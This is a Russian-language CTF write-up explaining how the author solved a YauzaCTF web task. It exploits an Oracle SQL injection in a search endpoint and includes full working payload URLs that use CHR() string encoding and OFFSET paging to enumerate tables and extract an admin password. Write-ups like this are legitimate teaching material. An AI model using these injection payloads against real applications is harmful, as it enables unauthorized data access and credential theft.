# Райтап на таск MagicHash without Hash (Part 1) из YauzaCTF
Открыв страницу, мы видим поле для ввода текста и список результатов. Введя что-нибудь и посмотрев на запрос в developer tools, мы видим, что запрос имеет вид:`/search.php?f=system.findnews&arg=[%22%25(текст)%25%22]`Поменяв параметр f на рандомный, получаем ошибку:> ORA-00904: "ASDF": invalid identifier
Видим, что:* На бекенде стоит Oracle Database* Параметр `f` управляет названием таблицы или процедуры
Подставив в `f` название какой-либо стандартной таблицы, получаем ошибку:> ORA-00904: "SYSTEM"."ALL_TABLES": invalid identifier
Подставив название функции с одним параметром получаем результат.`/search.php?f=UPPER&arg=["%25s%25"]`> %S%
Это означает, что `f` управляет названием вызываемой функции, а `arg` - её параметрами. Но мне не удалось найти функцию, которая бы дала доступ к нужным данным, значит, придется применять SQL инъекцию.
Можно догадаться, что в исходном коде бекенда запрос имеет вид наподобие:`SELECT $_GET['f'](implode(',', $_GET['arg'])) FROM DUAL`
Нам нужно выйти за пределы параметра функции в кавычках, поэтому немного поигравшись с параметрами, я написал такой запрос:
`/search.php?f=CONCAT&arg=["1","2'||(SELECT+1+FROM+DUAL))+FROM+DUAL+--"]`
Вместо `SELECT 1 FROM DUAL` тут можно вставить любой запрос, возвращающий не больше одной строки. Я писал запросы с плюсами вместо пробелов, чтобы они не попадали в urlencode и было читаемо, но можно и без них.
Таким образом, у нас запрос к базе примет следующий вид:
`SELECT CONCAT('1', '2'||(SELECT+1+FROM+DUAL))+FROM+DUAL+--') FROM DUAL`
Часть после `--` считается комментарием, и не обрабатывается сервером. То есть в очищенной форме запрос будет таким:
`SELECT CONCAT('1', '2' || (SELECT 1 FROM DUAL)) FROM DUAL`
Попробуем применить его, и увидим, что в ответ сервер вернул `12\1`, то есть 1 и 2 из параметров CONCAT, и 1, который вернул наш запрос. Кто знает, откуда взялся обратный слеш, напишите :).
Теперь мы можем выполнять любые запросы к базе, и видеть результат их выполнения. Но есть пара ограничений:* Мы не можем использовать кавычки, так как это снова сломает запрос. Вместо этого для создания строк воспользуемся функцией CHR, которая возвращает символ по ascii коду, и оператором конкатенации ||. Например, строка 'test' после обработки будет 'CHR(116)||CHR(101)||CHR(115)||CHR(116)'* Нельзя использовать запросы, которые возвращают больше одной строки (тогда оператор конкатенации не сможет склеить строки). Чтобы обойти это, воспользуемся оператором `OFFSET N ROWS FETCH NEXT 1 ROWS ONLY`, где N - номер строки, которую мы хотим получить. Таким образом мы будем получать по одной строке за раз.
Посмотрим, какие таблицы есть в базе. Функция для получения результатов называлась findnews, поэтому я решил поискать таблицы со словом news в названии. Получить список всех таблиц можно из таблицы ALL_TABLES, поле с названием имеет имя TABLE_NAME. Для поиска по таблице используем TABLE_NAME LIKE '%NEWS%', но не забываем про ограничения.
`/search.php?f=CONCAT&arg=["1","2'||(SELECT+TABLE_NAME+FROM+ALL_TABLES+WHERE+TABLE_NAME+LIKE+CHR(37)||CHR(78)||CHR(69)||CHR(87)||CHR(83)||CHR(37)+OFFSET+0+ROWS+FETCH+NEXT+1+ROWS+ONLY))+FROM+DUAL+--"]`
Получаем один результат: YAUZANEWS. Посмотрим владельца этой таблицы (колонка OWNER):
`/search.php?f=CONCAT&arg=["1","2'||(SELECT+OWNER+FROM+ALL_TABLES+WHERE+TABLE_NAME+LIKE+CHR(89)||CHR(65)||CHR(85)||CHR(90)||CHR(65)||CHR(78)||CHR(69)||CHR(87)||CHR(83)+OFFSET+0+ROWS+FETCH+NEXT+1+ROWS+ONLY))+FROM+DUAL+--"]`
Результат: SYSTEM. Посмотрим, какими ещё таблицами владеет этот пользователь. Проматывая строки параметром N после OFFSET, уже на N=2 находим таблицу YAUZAADMIN. Посмотрим её структуру по таблице ALL_TAB_COLUMNS.
`/search.php?f=CONCAT&arg=["1","2'||(SELECT+column_name+FROM+ALL_TAB_COLUMNS+WHERE+table_name=CHR(89)||CHR(65)||CHR(85)||CHR(90)||CHR(65)||CHR(65)||CHR(68)||CHR(77)||CHR(73)||CHR(78)+OFFSET+0+ROWS+FETCH+NEXT+1+ROWS+ONLY))+FROM+DUAL+--"]`
Изменяя параметр после OFFSET, узнаем структуру таблицы: ADMIN_ID,LOGIN,PASSWORD. В таблице всего одна строка, и пароль лежит в PASSWORD. Получим его:
`/search.php?f=CONCAT&arg=["1","2'||(SELECT+password+FROM+SYSTEM.YAUZAADMIN))+FROM+DUAL+--"]`> 12\YauzaCTF{F1rstL3v31c0mpl3t3d}
Вот и наш флаг. Весь таск занял у меня чуть меньше трех часов, большую часть которых занял поиск инъекции.